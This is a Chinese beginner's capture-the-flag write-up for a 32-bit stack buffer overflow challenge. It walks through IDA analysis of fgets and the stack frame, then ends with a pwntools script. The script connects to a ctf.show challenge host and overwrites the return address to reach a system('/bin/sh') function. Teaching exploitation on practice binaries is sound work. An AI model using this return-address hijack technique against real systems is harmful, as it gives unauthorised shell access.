本文仅针对刚接触pwn的人,想写一篇有助于新生入坑的wp首先下载题目的附件,放进ubuntu检查一下程序
可知程序为32位程序
然后我们将程序导入ida,观察程序的逻辑,导入程序后,对着汇编代码按tab,可以将汇编代码转化为汇编代码
这是程序的main函数,相对应地,也可以在linux nc 环境地址看一下(nc指令的作用在这里不做解释,有兴趣可以百度一下)
nc之后的结果!!!
我们再回到ida,经过两个puts函数之后,进入了一个叫做pwnme的函数,我们点进去看看
可以看到这里有个fgets函数
C语言fgets函数参数包括:
1. 字符数组指针:存储读取的字符串的字符数组,即读取的数据将被存储在这个字符数组中。
2. 数组大小:字符数组的大小,通常使用sizeof()函数来获取。
3. 文件指针:指向要读取的文件的指针,如果从标准输入读取,则使用stdin。
4. 字符串结束标志:通常为'\n'。
fgets()函数的函数原型为:
char *fgets(char *str, int n, FILE *stream);
其中,str为指向字符数组的指针,n为要读取的字符数(包括空字符),stream为文件指针或标准输入设备。
总之,就是我们输入的字符串是从s这个地址开始写入,写入50个
然后我们再转到ida中,再次按tab,显示这个pwnme函数的汇编代码
可以看到第一行s这个变量是在距离栈底ebp9个字节的地方(需要一些汇编基础)
这是栈的结构,我可能画的有些抽象,但是很重要(补一些汇编基础,这里是pwnme函数的栈结构,main函数调用pwnme过后,就会执行retn=pop eip,接下来就是调到放回地址所存的地址处,所以pwn的思路就在于修改这个放回地址,让它到达我们所需要的函数地址去)
我们再次回到ida,左侧是函数列表,我们点开stack函数(因为题目就叫做stack)
妥妥的getshell函数(
这段代码 system("/bin/sh")
的作用是在 Linux 系统中执行 /bin/sh
命令,它会打开一个新的 shell 进程。
具体来说,/bin/sh
是指向系统中的默认 shell 解释器的路径。通过执行该命令,你将进入一个新的交互式 shell 环境,可以在其中执行各种命令和操作。这对于开发者或者在某些情况下需要与系统进行交互的用户来说非常有用。
)
tab看汇编,查看该函数地址
可以看到该函数地址为0x0804850F,ok,到这里我们可以写pwn脚本了,pwn所需的工具也不再这里赘述了
from pwn import *
io=remote("pwn.challenge.ctf.show",28252) #连接
payload=b'a'*9+b'a'*4+p32(0x0804850F) #用a字符填满前面9个字节的空白,然后再用4字节填满原来的ebp(这里为汇编基础,因为程序位32位程序)
io.sendline(payload) #然后p32将stack函数写入地址的四个字节
io.interactive()